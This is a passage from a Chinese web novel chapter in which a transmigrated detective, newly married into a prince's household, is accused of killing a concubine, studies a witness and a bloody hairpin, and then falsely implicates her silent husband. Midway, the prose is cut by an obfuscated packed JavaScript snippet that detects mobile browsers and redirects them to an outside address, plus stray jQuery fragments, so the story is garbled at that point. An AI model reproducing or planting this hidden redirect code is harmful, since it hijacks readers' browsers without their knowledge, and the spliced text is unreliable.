也就是仗着这赵素怀脾气好，生母低贱也没什么好威胁的。


    不过在他的强烈要求下，那些仆人没有压着宋婉凝走，赵素怀牵着她的手腕问李嬷嬷这到底是怎么回事。


    “哎哟，你这大喜日子说这些怪晦气的。”


    “没事，您说罢。”


    他仍是很有礼，宋婉凝看他恭敬的模样，他难道不生气吗？


    宋婉凝自己却有些生气了，这真的很离谱。好像厄运缠上她了似的，这刚过完结婚这劫，自己竟成了杀人凶手了。


    “府上的兰姨娘呐——死啦！”


    李嬷嬷睁圆双目，仿佛这大白日的见到了什么十分可怕的东西，嘴唇往下压着，声音小了起来，“听说……死不瞑目呢，眼睛一直睁着不愿闭上呢。”


    她一只手在脖子上一割，“被割死的，那血流了一地嘞。”


    宋婉凝的职业dna动了起来，不过还是先问道：“为什么说是我杀的？”


    “有证据吗？”


    “什么时候杀的”


    “有人看见吗？”


    “工具确定是刀？”


    “死了多……”


    她下意识按自己上辈子的习惯叭叭问了出来，见大家都回头诧异地盯着自己才生生止住了话头。


    一边的香兰结结巴巴：“我们家姑娘……夫人一向好奇……就就……”


    宋婉凝义正辞严：“我不是凶手。”


    “真的不是！”


    她看向赵素怀，希望他能帮帮自己，但见他只是望着自己也不语，这才反应过来一切只能靠自己了。


    李嬷嬷：“你当然说自己不是了。”


    “赶紧走，王爷王妃都在，别让他们等急了。”


    宋婉凝心中憋闷也发不出，狠狠瞪了眼赵素怀便跟着往前走。


    赵素怀停在原地，歪着脑袋不知道在想什么，眼中蓦然闪过一丝戏谑，露出了带着玩意的笑容，大踏步跟了上去。


    厅堂内，上方一左一右坐着王爷和王妃，二人高贵华容，依稀可见年轻时的英俊貌美，左右两边男男女女不认识，想必是其他亲戚了。


    “还不跪下？”


    一道威严不容置喙的声音自上头响起，李嬷嬷面对前方，脚却十分知趣地一抬，宋婉凝便顺势跪了下去。


    宋婉凝皱着眉眼将四周众人表情一一看过，大多都是看戏状态，其中一双带着恨意的眸子尤为显眼。


    她的心猛然一颤，被里面夹带着的深深愤懑吓到了，不自然地收回了目光。


    “可知罪？”


    “不知。”她自是不能承认的。


    旁边突然冲出来一妇女，发钗挂在头上摇摇欲坠，发丝凌乱，满脸泪痕冲了过来，被及时赶来的赵素怀拦住。


    “姨婆，您先冷静！”


    刘氏如何冷静得下来，支着双手就要去抓宋婉凝，“你还我女儿，还我女儿啊——”


    “我可怜的女儿……”


    声音凄凄切切好不悲戚，旁边有些人听了忍不住抹起眼泪来。


    瑞王叹了口气，看向身边立着的刘管事。


    刘管事心领神会，退下去叫几个人将刘氏带了下去。


    宋婉凝看着这一闹剧，更觉莫名，再三强调：“我，不，是，凶，手。”


    “如果硬说我是的话请拿出证据。”宋婉凝额头上起了密密麻麻的汗，袖子里藏着的炭笔戳的手掌心生疼，这是出来时顺手拿的，想着肯定能用到。


    瑞王妃皱眉，呵斥道：“如何说话的？”


    瑞王低头，倒是不介意她这样，毫不在意地点点头，又有几人压着几个仆人上来。


    “王爷，人到了。”


    瑞王：“说吧，把你那天看到的都说出来。”


    “我——”那人正要开口又被瑞王打断，“欸，你先介绍一下你自己。”


    巧红红着双眸，怯怯缩缩：“我，我是兰姨娘身边伺候的巧红，那，那日王妃邀宋夫人进府，和我们姨娘在走廊上撞见了，然，然后……”


    说到这里她又停下来，宋婉凝一直盯着她的脸，观察她的面部表情和动作，将每一个细节都记在心里。


    确实没说谎，只是太紧张了。


    “继续说，没人难为你。”瑞王妃道。


    “宋夫人好像不认识咱们姨娘，就没打招呼，姨娘很生气就说了她几句，宋夫人听了很生气，和我们姨娘吵了起来，险些动手，后来还是二公子出来说话，二人才停下，宋夫人看着明显没消气。”


    “兰姨娘说她什么了？”瑞王妃问。


    “就，就说，宋夫人区区商户之女根本配不上……二公子，宋，宋家是，是卖女求荣，还骂了宋夫人的亲生母亲，说什么早死鬼……”


    此话一出，旁边竟还有人附和偷笑，“说得难道不对吗哈哈。”


    “安静。”瑞王妃端起茶杯，用茶盖轻轻刮去浮沫，“素怀。”


    赵素怀双手作揖：“儿子在。”


    “可确有此事？”


    宋婉凝忍不住看他，他低着头看不清神情，只见他嘴唇上下一动。


    “有。”


    瑞王妃带着审视的目光望过来，宋婉凝很不解：“这就能证明我杀人了吗？”


    “难道你们会因为和别人吵了架气不过就杀人吗？”宋婉凝气得满脸通红，青筋鼓起。


    “真的很莫名其妙，简直无理取闹。”她向来不会吵架，这次真的气急了，她之前只有面对嘴硬的凶手才如此。


    瑞王妃将茶杯送至唇边，轻啜一口，才道：“别急。”


    又是一人端着木盘低头走上来呈给了瑞王，瑞王捡起就往地上一扔。


    “真是胆大包天，第一日嫁进来，就敢行杀人之事，简直丢我们王府的脸！”


    宋婉凝躲闪不及，被那东西砸到了脑袋，她嘶地痛叫出了声，眯眼低头一看。


    那是根带着血的金钗，镶着红宝石，沾着鲜血透着诡异的光。


    一旁同样跪着的香兰见此大惊，这是那日小姐丢了的钗子，不是很精贵，小姐知道了也没有很在意，这件事就过了，谁知在这里看到了，还成了杀人利器！


    “这下如何解释？”


    “这可是在兰姨娘尸身边捡到的。”瑞王妃将茶杯重重磕在桌上，“我这王妃做得真是不称职，竟然让府里出了这等事，刚进门的媳妇杀了丈夫姨娘，说出去真是怪丢人的。”


    瑞王劝道：“今日大理寺卿到府中做客，与我算是旧相识，你现在赶紧认了，何况你也见到了方才刘氏那样子，再闹下去不好看，你也好少受点罪。”


    他身下便坐着一位年轻男子，身披紫色披风，一双三白眼垂着，眼尾上翘，仿佛一座冷面玉佛，坐在那低头看手也不言语。


    宋婉凝可不管他什么大理寺不寺卿的，“一根钗子又能说明什么？用这种钗子的人多了去了，怎么能确定这是我的，又怎么能确定不是别人偷了我的去杀人？”


    “我今年才16岁，怎么可能就为了点口角之争敢去杀人，还是在这戒备森严的王府中杀人。”原身这具身体才16岁，在家中也是妖生惯养的小姐，怎么有这般力气敢杀人的，这群人简直是欺她弱小。


    “本也不想把事说得这么明白，好让周卿也有余地给你判轻点，如今看来是不成了。”瑞王重重一喝，“巧红，你还看见了什么？”


    那边的巧红吓得战战栗栗，手脚不住颤抖着，声音都带上了哭腔。


    “呜呜之后一直都没什么事，直到前日，我给姨娘摘完花正回去的路上，就看见一个身影模模糊糊，看着像女子，戴着披风兜帽，见我一来便匆匆走过


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15127433|164353||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，我，我隐约看见了她的样子。”


    宋婉凝握着炭笔的控制不住颤抖起来，“说仔细点。”


    却没留意巧红时不时停留在自己脸上的目光。


    “肌肤像玉一样小巧光滑，蛾眉，一双大眼，鼻，鼻梁高挺，还是樱桃小嘴，很，很漂亮……”


    宋婉凝握着炭笔就在地上画了起来，汗珠滴撒在地，抿着嘴手飞移动着。


    随着巧红的描述结束，众人奇异地都安静了下来，看着宋婉凝在地上涂涂画画。


    很快，地上一张模糊人脸显现出来，宋婉凝看清后顿时没了力气，手一松，炭笔摔在了地上。


    蛾眉大眼，樱桃唇……


    这简直就是自己啊，怎会如此巧合？


    难……难道真是自己？


    只是自己穿过来少了那份记忆？


    她怆然地看向香兰，香兰看清地上那幅画像也是震惊，面对不解望着自己的小姐，她肯定地摇了摇头，随即俯身磕地。


    “望王爷明鉴，我们小姐……那日在家中试图上吊自杀，定是不可能去杀人的！”


    “呵。”


    一直沉默着的大理寺卿周知文一手支着侧脸，眉毛高高扬着，一双眼平静地看着狼狈的宋婉凝，瞥见地上那幅画像，眼底渐渐起了涟漪，他道：“这就更好说了。”


    他语调轻慢，“杀了人，回去感到害怕了，承受不住自杀了呗。”


    “哦——或者可能她不满意这门婚事，本就打算婚前吊死，这不想着死也带走一个。”


    “对啊，有胆子杀人，没胆子承认……”旁边有人附和。


    “不可能！”


    “我们小姐不是这样的人。”


    香兰一时也被唬住了，吼完最后一句拉着小姐的手哭了起来，涕泗横流。


    她本是小姐捡回来的，小姐还教她读书，待她就如亲姐妹。自从夫人离世后，她便发誓好好保护小姐，要坚强不能哭，然这回对王府的架势感到了深深的恐惧。


    宋婉凝脑中思路不停转着，杀人动机不足不说，时间线都是混乱的，整件事就是非常混乱，上吊后遗症还没好，上面一人一句叫她现在根本理不清了。


    混乱中看到身边一双云纹靴子，自己这一直不出声的夫君原来还在呢。


    她憋回眼泪，一个不太道德想法如同火花般在脑海中乍现。


    “我认！”


    铿锵有力的话语划破闹哄哄的厅堂，周围顿时安静下来。


    宋婉凝睫毛上还沾着几颗泪珠，扬起嘴唇，看着上一方一字一句正声道：“人，是我杀的，不过——”


    她指向身边的丈夫，“都是赵素怀指使我的。”


    “他对这位欺负自己亲娘的兰姨娘见恨已久，知道我爱慕他，又和兰姨娘起了冲突，便怂恿我杀了她，我那天杀了人十分害怕才要自杀的。”


    宋婉凝想好措辞滴水不漏地一口气讲了出来，众人面露惶惑，听了这番话迟迟缓不过神来，她抿起嘴忍不住想笑，哼，我这才是真的死也要拉人下水。


    “这，这……”


    “是真的……”


    见情况不对，周知文手在桌上不断敲打着，随后自请告辞，说衙门还有要事要处理。


    见他一走，王爷勃然大怒，拿起茶杯就朝赵素怀扔了过去。


    赵素怀被浇了一脸茶水，竟也不否认，低眉垂眼站着不语。


    瑞王连说三声好，一气之下走了，瑞王妃目光沉沉盯着这庶出的二儿子，本事大了啊。


    “都滚回去。”


    “没有命令不得再出府。”


    “是。”赵素怀答。


    厅堂内人很快走光，赵素怀低头看向拉自己下水的娘子，眼里竟绽放出前所未有的亮彩。


    “我的——好娘子，我们先回屋吧。”